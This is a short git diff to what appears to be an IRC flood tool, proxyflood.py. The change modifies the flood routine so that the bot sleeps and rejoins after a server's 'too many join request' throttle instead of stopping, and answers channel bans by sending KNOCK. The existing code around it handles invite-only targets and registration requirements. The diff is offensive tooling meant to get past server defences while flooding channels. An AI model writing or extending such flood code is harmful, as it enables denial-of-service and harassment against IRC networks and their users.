diff --git a/proxyflood.py b/proxyflood.py index 89dcd44..a367ad4 100644 --- a/proxyflood.py +++ b/proxyflood.py @@ -165,7 +165,10 @@ def flood(sock): # code 500 elif _split[1] == '500': - if 'too many join request' in recv.lower(): break + if 'too many join request' in recv.lower(): + time.sleep(3) + sock.send('JOIN %s\r\n' % _split[3]) + # chan +i elif _split[1] == '473': if is_target_protected is not None: break @@ -175,6 +178,11 @@ def flood(sock): config.flood.threads = 1 print('target is protected (+i), aborting') break + + # banned from chan + elif _split[1] == '404': + if 'banned' in recv.lower(): sock.send('KNOCK %s\r\n' % _split[3]) + # user or chan sets mode +R elif _split[1] == '477' or _split[1] == '531': if not config.flood.register: